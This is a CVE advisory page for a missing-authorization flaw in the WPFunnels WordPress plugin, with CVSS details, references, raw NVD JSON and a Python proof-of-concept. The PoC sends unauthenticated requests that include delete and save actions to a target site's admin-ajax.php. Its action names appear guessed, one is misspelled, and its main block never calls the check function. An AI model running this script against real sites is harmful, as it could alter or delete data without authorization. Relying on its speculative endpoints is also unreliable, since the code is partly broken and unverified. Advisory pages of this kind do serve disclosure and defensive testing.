CVE-2025-67571

Description

Missing Authorization vulnerability in WPFunnels WPFunnels wpfunnels allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WPFunnels: from n/a through <= 3.6.2.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WPFunnels <= 3.6.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2025-67571 PoC - Missing Authorization in WPFunnels
# Target: WordPress site with WPFunnels plugin <= 3.6.2

target_url = "https://target-site.com/wp-admin/admin-ajax.php"

# Identify vulnerable endpoints by analyzing plugin's AJAX actions
# The plugin registers multiple AJAX handlers without proper authorization

def check_vulnerability(target):
    """Check if target is vulnerable to CVE-2025-67571"""
    
    # Test unauthenticated access to protected functions
    # Replace 'action_name' with actual vulnerable action from WPFunnels
    vulnerable_actions = [
        'wpfunnels_get_funnel_data',
        'wpfunlets_save_funnel',
        'wpfunnels_delete_funnel',
        'wpfunnels_duplicate_funnel'
    ]
    
    for action in vulnerable_actions:
        data = {
            'action': action,
            'funnel_id': 1  # Target funnel ID
        }
        
        response = requests.post(target, data=data, timeout=10)
        
        # Check if response indicates successful unauthorized access
        if response.status_code == 200:
            # Analyze response for sensitive data exposure
            if 'success' in response.text or 'data' in response.text:
                print(f"[+] Potential vulnerability found in action: {action}")
                print(f"[+] Response: {response.text[:500]}")
                return True
    
    return False

# Usage
if __name__ == "__main__":
    print("CVE-2025-67571 PoC - WPFunnels Missing Authorization")
    print("Note: This PoC is for authorized security testing only")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-67571
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-67571
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-67571/
[4] VulDB https://vuldb.com/cve/CVE-2025-67571
[5] https://patchstack.com/database/Wordpress/Plugin/wpfunnels/vulnerability/wordpress-wpfunnels-plugin-3-6-2-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-67571", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:34.117", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in WPFunnels WPFunnels wpfunnels allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WPFunnels: from n/a through <= 3.6.2."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wpfunnels/vulnerability/wordpress-wpfunnels-plugin-3-6-2-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}